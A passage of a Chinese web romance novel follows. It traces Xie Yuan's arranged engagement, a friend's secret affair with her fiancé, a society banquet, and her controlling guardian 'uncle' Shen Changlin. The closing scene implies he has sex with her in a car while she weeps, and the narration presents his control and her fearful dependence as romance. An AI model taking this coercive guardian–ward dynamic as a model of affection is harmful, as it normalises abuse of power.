沈宴白不喜温思瑜,人尽皆知。
谢沅帮着温思瑜和秦承月,就是在和沈宴白逆着来,所以他知道婚事作罢后,怎么可能会不动怒?
沈宴白从不是好说话的人,也从不是有所顾忌的人。
在他的眼里,谢沅的意愿不重要,温思瑜的意愿不重要。
甚至秦承月的意愿,也一点意义都没有。
沈宴白只看重沈长凛的利益。
温家和沈家走得近,可以,秦家和沈家走得近,可以,但是温家和秦家,必须保持距离。
这规则谁都知道,可现实中总归是会出现各种各样的意外。
沈宴白总觉得温思瑜是别有用心。
谢沅陪在温思瑜身边很久,很清楚她跟秦承月的分分合合,也知道她对秦承月的感情到底有多深。
英雄难度美人关。
美人也难度英雄关。
温思瑜自小都是被百般骄纵的大小姐,她是家里的独女,父亲对母亲也忠贞不渝。
她从来没有忧虑的事,但偏生遇到了一个男人,然后跌进了情关里。
只不过那时候谢沅并不知道,让温思瑜坠入情网的人是秦承月。
她也是后来才想起来,温思瑜酊酩大醉的那天,她白昼时才跟秦承月一起看了场音乐会。
他们的事很复杂,并不是谢沅好掺和进去的。
她也不敢再插手分毫了。
谢沅坐在奶茶店里,她用小勺子搅着杯子里的冰激凌,心想最坏的可能就是开放式关系。
高门大户这样的事屡见不鲜,夫妻之间各玩各的,也是常有的事。
毕竟联姻是很难有幸福的,但是不联姻又不太可能。
谢沅咬着吸管,很快又摇了摇头。
不行,哥哥如果知道的话,会杀了他们两个的。
从前沈宴白在国外,有些事情还能瞒一瞒,以后他回国,他们的孩子叫什么,他估计都会来插上一脚。
谢沅越想越头疼,连杯子里的冰激凌也吃不下去了。
陈秘书接完电话,从玻璃门外面走进,他边帮她把包背起,边温声问她中午想吃什么。
碰巧一个高挑的姑娘挽着男伴的手,走了进来。
那姑娘一进门就看向了谢沅和陈秘书,目光讶异中带着些轻视,下颌微扬,与男伴窃窃私语了些什么。
谢沅注意到她的视线,有些不明所以。
她的腿受伤了,这几天陈秘书的全程接送也就有了绝佳的理由。
他给她弄了个便携式的小轮椅,在学校的时候就推着她走,非常方便。
陈秘书年近三十,众人都以为他是谢沅叔叔,她没有否认笑着应是,陈秘书闻言却吓了一跳,连声说不敢当不敢当。
那姑娘的眼神太怪了,谢沅的眉微微皱了一下。
快走出去的时候,她倏然想起那人是谁,是商学院的楚令仪,之前她参加比赛的时候撞见过。
还有传言说,楚令仪母亲是商界赫赫有名的林家的旁支。
谢沅抚了抚额侧的穴位,忽然感觉更头疼了。
如果不是见到楚令仪,她都快忘记她还有个比赛没比完,马上还要去参加终赛了-
用完午餐后,谢沅就回了家。
这几天沈长凛和沈宴白不在,本就安静的沈家更是寂寥得一点声音都没有了。
谢沅的腿已经好得差不多了,连痕印都只余下浅浅的一层。
她踏着阶梯上了楼,好好地午睡了一场。
再醒来的时候是下午两点,谢沅看了看时间,又犹豫了好久,最终还是决定去看温思瑜。
温思瑜待的高山疗养院建在燕城的北郊。
这地方明清风味很足,以前拍电视剧也会在这边取景。
后来建成的疗养院是俄式的,古典的气质不再浓厚,但依山傍水,风景宜人。
谢沅抱着一大捧淡紫色的香根鸢尾,坐着车上了山坡。
这边的风景真的很好。
入眼是大片的青绿,空气都被市中心那边要好得多。
沈宴白以前得过肺病,受不了燕城的重霾和污染,有很长一段时间是在舅舅家滨城待的。
谢沅往后倚靠,青绿从她的水眸掠过,漾起层叠的涟漪。
车停在了连片的紫藤花前,雅致的白色小楼矗立着,像是一个漂亮的花园。
高山疗养院是个静养的好地方。
但温思瑜爱热闹,性子也张扬,待不惯这种静谧之处。
谢沅来之前和姑姑沈蓉发过消息了,她捧着花走进开放式的院落,嗓音轻柔地唤道:“思瑜姐姐,我来看你了。”
院落里很安静,好像没有人,连陪护的人也不在。
谢沅有些疑惑,她轻轻地走了进去。
正当她想要叩响房门的时候,连串的紫藤花后方突然爆发了剧烈的争吵声。
紫藤花垂绦般地下落,像是天然的帘幕。
谢沅这时候才发觉,院落侧后方的石桌旁是有人的,只不过方才被高大的树木和连片的紫藤花遮掩住。
温思瑜的嗓音尖锐,她抬手狠狠甩了对面人一巴掌。
“你滚!”她厉声说道,“我永远永远,都不要见到你了!”
对面人的声音压得很低。
隔了些距离,谢沅听不清楚,她只看得到那男人偏过头后,又和温思瑜拥吻在了一起。
温思瑜的脸上应当是带着泪的。
一吻结束后,她哭泣着说道:“你早就知道我们没可能,当初为什么答应我?弄成现在这样,你到底想怎么样?”
温思瑜是很骄傲的人,但是眼下她的言辞中只剩下了深重的无力。
但那男人忽然又说了些什么。
温思瑜的眼泪渐渐止住了,两人相拥,然后再度亲吻。
指节交缠在一起,亲密无间。
或许爱情就是这个样子的,哪怕有无数的阻隔,也挡不住那真挚的情谊。
谢沅捧着鸢尾花站在原处,思绪却是飘回到了很久之前。
那时她大概刚满十六岁,初到沈家不久。
沈宴白当时的女友是个大小姐,有点骄纵,但沈宴白很喜欢她,那段时间也当真是将她往天上宠。
沈宴白的女友太多,谢沅已经不记得她叫什么了。
只记得她长得很漂亮,也很爱吃味。
听谢沅叫沈宴白哥哥,她便有些生气:“又没有血缘,叫那么亲干什么?”
哪怕骄纵地吃着飞醋,她的容颜依然是好看的,仿佛是在聚光灯下一样,惹人注目。
沈宴白骨子里带着些风流,但好好对一个人的时候,也称得上是百依百顺。
在这方面,他是很好的人。
但其实哪怕他不这样,也有的是人想要飞蛾扑火。
谢沅无措地站着,她穿着好看却不合脚的鞋子,摇摇欲坠,全然不能适应这样的大场面,睫羽都在不断地抖着。
宴席上觥筹交错。
沈宴白揽住吃味的女友,拍了拍她的肩膀:“你想什么呢?她哪里能算是我的妹妹?”
他的眉眼懒洋洋的,带着点漫不经心。
沈宴白没有刻意压低声音,刚好能让谢沅听到:“再说,她性子沉闷寡言,我也看不上。”
他没有掩饰对她的不喜和厌烦。
谢沅却只是安静地垂下眼眸,然后轻轻转过了身。
她不记得那时候有没有伤心难过,她只记得那时候心里强烈的局促和不安。
因为一场意外,她被带到了一个陌生的花花世界。
这里的一切都很华美,只有她是格格不入的存在。
谢沅站在紫藤花下,忽然有些累,有些疲倦,她好像走了很久的路,又好像一直都停留在原处-
风将连串的花吹动,像松林里的波涛,带来悠扬的声响。
日光轻扫,落下层叠的花影。
温思瑜对高山疗养院的兴致不高,不过是因为手术后要恢复,父亲又百般催促,方才勉强地住了进来。
但看着层叠的紫藤花翻动,她也难得弯起了唇角。
这地方不管怎么说,风景还是不错的。
温思瑜翻了翻手机,准备给谢沅打个电话,刚看手机母亲沈蓉三点的时候,给她发消息说谢沅要过来看她。
也不知怎么回事,这都四点了,人还没来。
温思瑜将人分得很清。
秦承月是秦承月,谢沅是谢沅,她就算跟秦承月死生不复相见,跟谢沅的关系也不会变。
上回谢沅过来,她刚好睡去,接着就是沈宴白回来,两人很久没见。
沈长凛管谢沅管得严,万事都要报备,其实沈宴白也没好到哪去。
沈家的男人,控制欲都格外的强。
沈宴白一向是不喜欢谢沅跟她交往的。
这段时间他在家,肯定是处处管着谢沅,不许谢沅来看她。
但是那又有什么用呢?沈宴白这边刚一回去,谢沅不还是来看她了?
温思瑜想到这里,不禁有些得意。
她一边翻手机,一边走出庭院,走到门口时,突然在地上看到了一两支香根鸢尾。
高山疗养院的花品种很多,但绝对不会有香根鸢尾。
而且还是这么新鲜、漂亮的鸢尾花。
温思瑜颤抖地将花捡起,想起方才和秦承月接吻时听到车辆驶过的动静,脸色瞬时变得煞白。
这时候谢沅已经回到家中了。
她将落地窗的窗帘关闭,然后浸入到黑暗里,安安静静地又睡了过去。
晚上还要去霍家,谢沅订好了闹钟,一直睡到了下午五点。
不知道为什么,好多人给她打了电话,发了消息。
谢沅扶着额头坐起身,还没来得及看,就听到管家轻轻敲门,唤她:“小姐,该起床了。”
参加宴席很麻烦,要繁复地梳妆,要更换礼服。
谢沅睡得太久,有些头疼,她揉了揉额侧的穴位,撑着手臂坐起身,说道:“我已经醒了。”
负责梳妆的人已经候着了。
她草草地扫了一眼来电记录的名单,看到没有沈长凛和沈宴白,就先没有再看。
一直到更换完礼服,准备出发的时候,谢沅才开始看消息,但她刚刚点开屏幕,沈长凛的电话就打过来了。
她抬腿上车,看到他的名字,心跳差些漏了半拍。
沈长凛轻声问道:“睡醒了吗,沅沅?”
这几天知道谢沅要忙考试,他都没跟她通电话,怕扰她心神。
走的那天将人弄得太过,沈长凛事后有些歉然。
谢沅坐进车里,细声说道:“睡醒了,叔叔,我们已经准备要出发了。”
两人很久没有通电话。
陈秘书和管家每天都会把她做的事告诉沈长凛,但听她亲口来讲,感觉还是不一样的。
他轻声细语,和谢沅慢慢地聊天。
她下午睡得有点晕,在加上沈长凛远在重洋之外,这会儿也忘记怕了。
两人就像寻常情侣般聊了一路。
沈长凛听谢沅说考试的事,不由地笑出了声。
小姑娘难得多话,言说伦理学的名词解释有多偏僻,整学期就只听教授讲过一次。
这些对他来说,都是很遥远的东西了。
但听谢沅说,总有种身临其境的感觉。
沈长凛容色温和,柔声说道:“这周累了,晚上回来早点休息,你哥哥先回去,我在这边还有点事,过两天再回去了。”
谢沅捧着电话点头,浅浅地笑了一下:“好,我等您。”
窗外是黑沉沉的阴云,略微带着些压抑。
这地方多雨,一年四季都是潮湿的,既宜居又不完全宜居。
沈长凛站在窗边,轻轻地点了支烟,他的眉眼依然冷淡,但唇边却带着些很浅的笑意。
小别胜新婚,真是不错。
总是惧着他的孩子,言辞里也终于充满依赖了-
谢沅刚到霍家,霍阳的姐姐就将她接住了。
霍大小姐跟她弟弟很不一样,举止端庄,娴静淑雅,没有半分离经叛道。
她笑着说道:“好久不见,沅沅。”
谢沅嗓音柔软,说道:“好久不见,霍姐姐。”
她的性子还是那样安静,但对于出席这种大场合,却再也不会感到局促无措了。
跟霍大小姐打完招呼不久,霍阳就过来把谢沅接走了。
他银灰色的短发也不知道用什么方法遮住了,现在一头乌黑,再加上周正的高定西装,怎么看怎么根正苗红。
霍阳转了转腕表,笑说道:“小谢妹妹,你哥哥特地吩咐了,今天要我带着你,可别跑远哈。”
上回的事已经过去,而且封锁得非常死。
哪怕是圈子里,众人也皆以为是那人意外得罪了沈宴白,纷纷调笑了一番。
只有霍阳知道到底发生了何事。
谢沅脸皮薄,总是不习惯这种特殊的关照,但沈宴白都发话了,她也没法再拒绝。
她面庞微红,低声说道:“我知道了,霍阳哥。”
今天霍老先生八十大寿,霍家枝叶繁盛,霍阳只是孙辈,不用到跟前侍候。
他性子又向来张扬桀骜,他父亲也不敢叫他去待客。
宾客来往众多,非富即贵,无一是等闲之辈,这是一场盛大的社交,如果能言善辩,身份又体面,是可以混得如鱼得水的。
但毫无疑问,谢沅不擅长社交。
霍阳给她手里塞了杯果汁,带她避着人群,边走边闲语道:“今天考完试了?”
谢沅捧着果汁,点点头说道:“上午刚刚考完的。”
“那挺好,听你宴白哥说你这学期去学攀岩了,”霍阳笑了一下,“过两天要不要跟着我们去爬爬真山,保准比攀岩馆要刺激。”
他常玩极限,什么危险要命,就玩什么。
谢沅胆子小,之前被霍阳骗去玩滑翔伞,差些落下心理阴影。
那段时间她闭上眼睛,都是脚踏在山崖边的情形。
谢沅难得硬气,立刻拒绝道:“我不爬,霍阳哥。”
跟在霍阳身边的是几个堂弟,听她柔弱又坚定的拒绝,纷纷笑了出来:“哥你别老欺负小谢妹妹。”
霍阳也哑然失笑,连声说道:“好好好,不爬就不爬。”
谢沅松一口气,随着他继续向前走去。
霍阳状似无意,问道:“对了,今天怎么没跟承月一起过来?”
沈宴白的意思很明确,是无论如何都要坐实这门婚事的,之前两次私下的聚会,都已经表现得很明白了。
这种大的场合,没道理不让两人一起。
谢沅愣了一下,终于意识到手机里的无数电话是为何打来的。
沈宴白很清楚谢沅脸皮有多薄,他宁可费心帮她做局,也不指望她自己去找秦承月。
每次让两人见面,也都是直接说给秦承月,让他去找谢沅。
谢沅抬起眼眸,看向霍阳,颤声说道:“哥哥没跟我说,我忘记了……”
她匆匆拿过手机,果不其然看到未接来电又多了好多条。
“唉呀,但这也来不及了,”霍阳被谢沅的话逗笑了,“要不然就算了吧,还有下回呢。”
他根本不急,全然就是看热闹的神情。
谢沅急得满头大汗,更加不想理霍阳了,她急忙走到露台边,刚想把电话往回拨,抬眼就见秦承月快步往她这边走。
他个子很高,样貌也英俊,在人群中非常打眼。
霍老先生八十大寿,有许多人是千里迢迢赶过来的,并不能将燕城的权贵认全。
在秦承月走过来的时候,不少人的目光都凝到了他的身上。
或许会有人不知道秦承月。
但哪怕是从海外过来的人,也没有不知道秦家话事人沈长凛的。
“那就是秦家那一位么?谁说和沈先生像?我看着差远了。”
“秦公子真是一表人才,还没成婚吗?哦,已经和沈家有约了啊,难怪难怪。”
暗处的窃窃私语压得极低,仅在小范围内流传,但众人的目光却没做过多的掩饰。
谢沅最怕被一群人瞧着围着。
可秦承月走过来的时候,几乎所有人的视线都若无若有地投过来了。
霍阳挑了挑眉,跟她做了个口型:“加油。”
谢沅额前出了薄汗,硬着头皮看向秦承月,唤道:“承月哥。”
她今天穿的是礼服,银白色的短裙像是凝滞了月华,侧身时会甩出漂亮的鱼尾。
仙气萦萦,又美不胜收。
谢沅站在露台边,夜风将她辫好的长发和裙摆吹起,她抬起的水眸波光潋滟,纯真得像是一汪静泉。
很少有男人,能够承得住那样的目光。
秦承月停住了脚步,神情温和,轻声说道:“抱歉,我来迟了。”
他风度翩翩,姿态高雅。
谢沅轻轻搭上他的手,摇了摇头:“没事,承月哥。”
权贵圈子里多有脏污,但她的那双眼眸,却像是从未沾染过分毫的黑暗。
两个人都生得好,可站在一起时,却更多了一份难以说清道明的意蕴。
像什么呢?
像是两块精美的玉石,和合到了一起,迸发出更加华美的光彩。
刚刚对秦承月有所议论的人,也忍不住地调侃:“秦家小子真是好运呐……对了,他们什么时候成婚?”
谢沅受不得太多直接的目光。
尤其是站在秦承月的身边。
下午时的那一幕还在她的心里反复浮现,让她的心神更加不宁无措。
谢沅不知道现在秦承月到底是个什么意思,他一边跟温思瑜继续纠缠,一边又陪着她参加宴席。
她现在算是明白温思瑜为何会跟他分分合合了,也明白温思瑜那些话的意思了。
秦承月做事无可挑剔,是不折不扣的青年才俊。
但是他在感情事上,好像真的过分优柔寡断了。
他没有决断得叫人害怕。
谢沅站在露台的栏杆边,垂眸往下看,心思越来越乱,正当她烦闷地想离开时,忽然有人闯进了她所在的休息室。
第17章
宾客身份贵重,休息室外是有侍者守着的。
谢沅眸子睁大,心弦骤然绷紧,谁会在这个时候闯进来?
她侧身站在露台边,掌心微微沁汗。
那人气势很盛,个子也很高,像个青年,又像是个年轻女子。
谢沅在心里想熟识的人过了一遍,也没想清楚是谁。
当来人走近,看清楚她是温思瑜的时候,谢沅才倏然松了一口气。
温思瑜一身红色的长裙,容貌明丽张扬,即使是踩着恨天高也步伐沉稳,如履平地。
但她的脸上,是谢沅从未见过的紧张。
她有些不明所以,想到下午意外撞见的事,又有些无措。
之前姑姑沈蓉就说过,这两天温思瑜就要出院了,谢沅没想到她会这么快就过来。
“怎么一直不接电话?”温思瑜的脸庞带着薄汗,“你知不知道我有多急?”
她是姐姐,加上性子使然,言语总带着些发号施令的意味。
说这话时,温思瑜的口吻中带着点长辈般的质问。
谢沅没接到的电话和消息太多了。
她今天又格外的忙碌,刚刚秦承月出去与人谈事,她才得以躲到休息室里喘口气。
等他回来,他们就快要去见霍老先生了。
“我没看到,思瑜姐姐。”谢沅耐心解释,“不好意思,下午本来说好去看你的,但是有事情耽搁了。”
她以为温思瑜是联系不上她才着急。
“沅沅,”温思瑜打断了她,“你去看我时,带的是香根鸢尾,对吗?”
她的目光锐利,直要穿透谢沅。
谢沅蓦地想起离开时,意外落下的那一两支花。
温思瑜是多伶俐的人,这家疗养院又是他父亲出资建的,哪怕没有鸢尾花,监控中也会清晰地出现谢沅的面容。
她是真的很不会说谎。
谢沅抿着唇,她低下眼帘,本能地想要错开温思瑜的视线。
下午的事太突然,她还没想好要怎么面对温思瑜。
但温思瑜却按住谢沅的肩头,迫使她抬起了头,低声说道:“沅沅,事情不是你想的那样。”
温思瑜个子高,阴影是无声落下的,谢沅的身躯轻颤了一下。
她害怕浓烈的情绪,尤其是带着攻击性的情绪。
哪怕温思瑜是个女性,谢沅还是控制不住地感到紧张,她颤声唤道:“姐姐。”
温思瑜以为是弄疼谢沅了,紧忙放开她,然后揉了揉她的肩头:“抱歉,沅沅,我弄疼你了吗?”
谢沅细声说道:“我没事,思瑜姐姐。”
她的雪肤柔软,短裙礼服将腰身勾勒鲜明,细得不经盈盈一握。
谢沅性子好,模样也好,为人更是好到没话说。
这样的女孩,哪怕是出身平常,也会被无数人追求,最终娶到她的那个男人,一定是个会将她宠到骨子里的人。
可是现在的她,别说是遇到幸福,就连正常的男女交往都不能有。
那个本该成为她未婚夫、带给她幸福的男人,又是那种样子。
温思瑜低下头,她轻轻抱了抱谢沅,难得有些艰涩地说道:“今天秦承月是来见我最后一面的。”
“我们早就没关系了,”她抚了抚谢沅的头发,“叫你撞见,太不好意思了。”
温思瑜很少会这样低声言语。
谢沅有些无措,她抿了抿唇,细声说道:“没事的,姐姐,我都明白。”
她抬起眼眸,看向温思瑜。
温思瑜愣了一下,明艳的面孔有一瞬的错愕,她正欲说什么,那边秦承月跟人谈完话回来了。
他推开半掩的门,低声说道:“沅沅,我们要去见霍老先生了。”
谢沅还没有遇到过这么尴尬的场面。
夜风吹起她辫起的乌发,非但没能带来凉意,反倒让她滚烫的耳尖更热了。
温思瑜也没想到秦承月回来的这么快。
三人对上视线的时候,有一种很难言说的氛围无声地蔓延开来。
谢沅强作镇定,向着秦承月说道:“我马上就过去,承月哥。”
秦承月西装革履,站在门边,头发向后梳起,英俊的脸庞在水晶灯下显得十分耀眼。
他很快地恢复了沉稳模样,轻声说道:“好,那我先在外面等你。”
说完,秦承月就回身离开。
谢沅看向温思瑜,为难地说道:“思瑜姐姐,抱歉我不能陪你了,待会儿要去见霍老先生,我们有空再聊吧。”
她的额前出了薄汗,有些无所适从。
温思瑜沉默片刻,轻声说道:“好,你过去吧。”
“不用管我,我这两天就准备出发去滨城度假,”她笑了一下,“你今天累了,回去以后记得好好休息。”
温思瑜扬起笑容,脸上再度泛起神采。
谢沅却微怔了一瞬,说道:“思瑜姐姐,最近滨城有台风,你小心些。”
温思瑜的笑容僵了一下,她拍了下额头,说道:“哦,你要不说,我都忘记了。”
她看了眼腕表,拍了拍谢沅的肩头。
“时候不早了,你快过去吧。”温思瑜继续说道,“别叫老先生等急了。”
将谢沅送到门前后,她招了招手:“我们改天再见,沅沅。”
温思瑜来得匆匆,走得也很快。
谢沅抬起手,刚刚跟她说完再见,温思瑜就消失在了人群中。
她转过身,正欲找寻秦承月去了何处,抬眸就和沈宴白撞上了视线。
沈宴白一身白色西装,神情淡漠地站在她的身后,目光幽深,带着明确的审视,他轻描淡写地问道:“怎么跟她在一起?”
那个瞬间,谢沅体会到了心脏骤停的感觉。
沈长凛在电话里说过,沈宴白先回来了,她无论如何也没有预想到,他会回来得这么快。
今天的事情,只要有一缕风声传到沈宴白的耳中,就全都完了。
谢沅的后背都沁出了薄汗。
她的身躯紧绷,声线也微微发颤:“哥哥,你回来了。”
白色西装是最难穿好看的,稍有不慎,就可能穿成了灾难,但沈宴白这样穿,就只会令人想得到童话故事里的白马王子。
他指尖掐烟,目光紧盯着谢沅:“问你话呢?”
谢沅低垂着眼眸,听到这句话的时候差些抖了一下。
不知道是不是她的错觉,她总感觉沈宴白越来越像沈长凛了。
真是奇怪,明明这三年他都在国外。
“思瑜姐姐要准备去滨城度假了,”谢沅编着谎话,“她来跟我告别,问我想要什么伴手礼。”
她真的很不会说谎。
但听到温思瑜要离开燕城,沈宴白挑了挑眉,容色也和缓少许。
他轻声说道:“你都快要订婚了,以后少跟温思瑜再接触。”
谢沅不知道沈宴白信没信,至少这一关勉强过去了。
她轻舒了一口气,应道:“我知道,哥哥。”
谢沅闻不惯烟味,尤其是在相对封闭的室内。
但沈宴白有点轻微的烟瘾,手边时常是不离烟的,他掐着烟,声音微哑:“这几天我不在,都做什么了?”
谢沅乖乖地把近来做的事都告诉沈宴白,还把今天跟秦承月一起出席的事说予他。
虽然中途出了岔子,但在外人眼里,他们就是一起到场的。
沈宴白轻轻点了点头,将烟按灭。
眼见他要带她去别处,谢沅紧忙说道:“哥哥,我跟承月哥待会儿要过去见霍老先生了。”
她正说着,秦承月便寻了过来。
因为礼服是之前备好的,所以哪怕谢沅忘记要跟他一起过来,他们的衣着还是相配的。
秦承月的领带是银白色的,袖扣也是精致的小月亮。
他形色匆匆,见到沈宴白并无意外,和沈宴白打了个招呼就自然地接过了谢沅:“宴白,我们先过去了。”
这边人多,加上时间又紧,秦承月轻轻牵起了谢沅的手。
她的眼神仍带着些懵懂。
但被秦承月牵过去的时候,谢沅的脸上也并没有不情愿,就像被邻家兄长牵过一样,自然地跟在了秦承月身边。
她伸出另一手,摇了摇:“哥哥,再见。”
沈宴白站在原处,看着秦承月牵走谢沅,神情淡漠,良久也没有说什么-
谢沅步子慢,人又容易晕,很习惯被人牵着。
温思瑜带她出门的时候,如果在人多的地方,甚至得虚揽着谢沅的腰才行。
每次上课快迟到,谢沅的同学也会拽着她快步跑去。
秦承月名义上是谢沅未来的丈夫,但她对他的感情,却一直像是远方兄长,他对她应当也是如此。
所以谢沅并无不适,她就是有些累。
快到的时候,秦承月才放慢脚步。
谢沅低喘着气站稳,他朝侍应生要了杯清水,然后递给她。
她接过高脚杯,饮了小半杯,才缓过劲来:“谢谢承月哥。”
谢沅双手捧着杯子,出了薄汗后,那张白皙的脸庞光泽更盛,清透得有些灼眼了。
待会儿要过去跟霍老先生贺寿,秦承月取了张帕子,轻帮谢沅擦了擦脸庞。
她身体素质差,快步走了片刻,就要喘好久的气。
浅粉色的樱唇轻张,低喘声细细的。
霍家很大,尤其是霍老先生常居的这处宅邸,设计风格贯彻中西,既有很多巴洛克式建筑的绰影,又有中式传统建筑的意蕴。
刚刚待的主厅封闭,一到霍老先生这边,复又开阔起来。
夜风穿过廊柱,撩起了谢沅的发丝。
月光之下,秦承月的脸庞离得很近,他低头认真地帮她擦净了额前和颈侧的薄汗。
“不知道她跟你说了什么,”他轻声说道,“但今天的事,我说是个意外,你会信吗?”
秦承月容色平静,没有了方才的匆忙。
谢沅也是这时才意识到,时间其实还没有那么紧,大概秦承月只是想跟她说个话。
她愣怔片刻,微张的樱唇也又抿了起来。
谢沅不知道该说什么,低低地唤他一声:“承月哥。”
在人前他们是亲近的璧人。
但很少有人知道,在人后他们有多么陌生,他们会谈论音乐,会谈论哲学,偶尔也会谈论圈子里人的轶事。
可谢沅和秦承月从来没有交心过一瞬。
当初知道他跟温思瑜的事时,她只感到庆幸和解脱,终于有理由解除这段关系了。
或许是有一点被欺骗和隐瞒的难过,但是并不多。
这半年来,倾在谢沅肩头的是巨大的、背德的压力。
但是后来她渐渐明白过来,这并不是她能够选择的,也并不是她能逃掉的。
谢沅的命运就是联姻,而联姻也是她唯一能回报沈家、回报沈长凛的事。
“不信也没关系,沅沅。”秦承月继续说道,“我只想告诉你的是,我和她的确是彻底断掉了。”
他的眼帘微微低垂。
谢沅看向秦承月,忽然想到他跟她是一样的。
跟她联姻,也是秦承月唯一能够回报秦家、回报沈长凛的事。
但那个瞬间谢沅还是有些恍惚,她的胸腔起伏,忍不住抬眸再去确认:“承月哥,你跟我说这些……是什么意思?”
她是相信秦承月的,因为刚刚温思瑜才跟她说过同样的话。
秦承月低眼,对上谢沅的视线。
他轻声说道:“沅沅,我们以后再亲近些吧。”
谢沅的体态纤细,身躯单薄,在夜色里总有种弱不禁风之感。
秦承月动作很轻地抱了下她,低声问道:“好吗,沅沅?”
谢沅害怕来自男性的接触,除了沈长凛外,只对沈宴白、秦承月和霍阳稍微好一些。
尤其是秦承月,因为他们私下的接触最多,之前也经常一同用餐。
当他拥住她的时候,谢沅并没有感到害怕,她只是觉得有些茫然,事情好像朝着正轨在走,又好像偏移到了一个奇怪的方向。
她听见自己声音飘忽地说道:“好……”-
霍老先生气势很盛,都已年到八十,还精神镬烁。
但他对晚辈很好,霍阳整日作天作地,他也睁一只眼闭一只眼,比霍阳父亲待他还要和蔼得多。
谢沅刚高考完后的那个假期,被沈长凛送去了秦老先生那里。
秦老先生只有一个独女,独女早逝,就正剩下了沈长凛这么一个独孙。
到了他那个年纪,是很渴望子孙能够承欢膝下的。
尤其是秦老先生那段时间做了手术,在瀛洲静养,日子颇为孤寂,沈长凛自己没空,沈宴白身份又尴尬,于是把谢沅送了过去。
她刚开始还有些担忧,害怕做不好。
但秦老先生待谢沅很好,在他那边过的两个月,是她最无忧无虑的一段时光。
瀛洲是避暑的好地方,许多老先生都会在那里休养。
谢沅是在那里认得的霍老先生,跟霍阳也是在那时候慢慢熟悉起来的。
一见到她和秦承月走进去,霍老先生就蔼然地笑了出来,他站起身说道:“哎呀!沅沅真是女大十八变,现在越来越有精神了。”
他夸人最喜欢夸“很有精神”。
谢沅也弯起眉眼,笑着应道:“您也很有精神呢。”
陪在霍老先生身边的是霍阳父亲,比起谈笑风生的霍老先生,他的神情严谨肃穆得多。
哪怕面上带着笑,也是客客气气的笑。
任谁见了他跟霍阳,都很难想象他们是亲生的父子。
谢沅和秦承月是晚辈,并没有在霍老先生这边多待,贺过寿后便一同离开了。
好在今日最大头的任务终于完成。
她慢慢地舒了一口气,眉头也逐渐舒展开来。
秦承月看向谢沅略显苍白的脸色,低眼说道:“去吃点东西吧,还要一会儿才能结束。”
她受不得累,也就是沈宴白想让他们两个一起到场,方才故意没说已经回来。
不然,这种事不必谢沅来做的。
谢沅仰起脸庞,浅笑着点点头:“嗯。”
她笑起来很好看,水眸弯起,细碎的光点流转,很少有男人能够拒绝。
两人年龄差得有些多,将近有足足六岁。
秦承月对谢沅的印象,其实很久以来都停留在那个穿着校服的女孩上。
沈长凛定下这门婚事的时候,她十六岁,还是十七岁来着?
谢沅那么小,什么都不明白。
她穿着校服坐在沙发上,身畔还放着书包,懵懂地抬起眼帘,局促地说着话,一直见到沈长凛走进来,才终于放松少许。
说来,谢沅的目光好像永远都在沈长凛的身上。
他是她在沈家的叔叔,也是她唯一熟悉的人。
谢沅管秦承月叫哥,其实秦承月跟沈长凛才算是同辈,所以他看谢沅的时候,总也带着点看晚辈的意味。
哪怕两人后来的相处并不少,也会一起出门用餐。
但在秦承月的眼里,谢沅还是孩子。
可今夜见她盛装出席,他不得不承认,她已经长得足够大了。
大到如果不是有沈长凛护佑,恐怕会有人暗里觊觎,图谋夺娶的程度。
谢沅的婚事是绝对不可能随便的,娶她的人必须得是一个深切忠诚于沈家、秦家,或者说忠诚于沈长凛自己的人。
只有这样,才能保证万无一失。
旁人都说谢沅存在的意义不过是联姻,可秦承月却明白,沈长凛决计不是这么想的。
他很呵护谢沅,呵护到知悉秦承月这个准未婚夫出轨,便想要解除婚约。
就是亲生的孩子,能疼爱到这种地步也是少有的。
秦承月薄唇紧抿,带着谢沅去用餐,遇见服务生的时候,他顺道给她拿了杯果汁。
她咬着吸管,眼眸微眯。
仅仅是喝了果汁,方才心事重重的模样就消失得无影无踪。
谢沅是那么懵懂天真,又是那么蛊人心魄,只是她自己,对这一切尚且一无所知-
从霍家回来的时候,谢沅浑身上下都要散架。
她累得连手指都抬不起来了,草草地沐浴过后,就抱着薄被睡了过去。
翌日睡醒时,都已经十一点多了。
连日来的压力全都卸了下去,谢沅伸了个懒腰,舒舒服服地继续赖床。
她昨天就跟阿姨发过消息,明天早上不起床,但是阿姨还是贴心地给她准备了很多点心和水果,放在小冰柜里,怕她睡醒会饿。
谢沅十二点半才从楼上下来。
她没有梳头发,穿着松垮的睡裙,揉着眼睛走下楼梯。
坐到岛台边的高脚椅上时,谢沅突然发现沈宴白也在,她讷讷地唤道:“早上好,哥哥。”
她这些天都是连轴转,累得昏沉,睡得也昏沉,全然忘了沈宴白已经回国了。
他难得穿了正装,系着领带,端着笔记本轻轻敲着。
沈宴白看她一眼,语气不轻不重地说道:“还早上呢?”
谢沅脸颊微红,垂眸不再说话了
今天的午餐很丰盛,而且都是她爱吃的。
谢沅像个小仓鼠似的,鼓着腮帮用餐,吃到腹里饱胀才放下筷子,比起精致的西餐冷食,她还是要更喜欢传统的中式热餐。
用完餐后,她又懒懒地想爬上床。
可还没有起身,就被沈宴白给叫住了,他漫不经心地说道:“叔叔周一下午回来,记得去接机。”
接机是应该接机的。
以前沈长凛出国回来,谢沅也会去接机,她很知道要孝敬他。
只有半年多前的那一次,他没有让她去接,是直接回来的。
谢沅认真点头,然后记好了沈长凛的航班信息,六七月份,雨总是很多,她一整个周末都在来回翻看天气预报,担忧航班延误。
周一的天色阴沉,她更是忧虑。
好在一切顺利,谢沅早早就到了机场,当看见沈长凛一身深色长风衣走出时,她的心跳都快了起来。
他身形高挑,穿风衣很矜贵优雅。
那俊美的脸庞在光影之下,更是像是画师工笔描绘。
谢沅跟沈长凛朝夕相处将近五年,但再度见到他的时候,还是不由地失神了片刻。
等她反应过来时,沈长凛已经将她轻揽在了怀里,他柔声说道:“沅沅今天很好看。”
他是那么温柔,言辞也是那样矜雅。
谢沅本能地生出依赖,连沈长凛在大庭广众之下,将十指嵌入她的指缝里,都没有丝毫挣扎。
她摇了摇头,小声说道:“叔叔更好看。”
沈长凛低笑一声,将她抱上了车,挡板落下后,谢沅才意识到她方才的想法有多天真。
轿车行驶到半途时,暴雨如注地落了下来。
接天的雨幕浸透了林被,也让每一寸土地都变得湿润。
谢沅的细腰近乎折断,她紧咬住下唇,将颤声压在了贝齿间,她的眼眸湿透了,眼泪不住地往下掉。
沈长凛轻吻了吻她的脸颊,柔声说道:“马上就到家了,沅沅。”
雨声急急,打在深色的玻璃窗上。
谢沅的手指无力地抚在车窗上,满脸绯红。
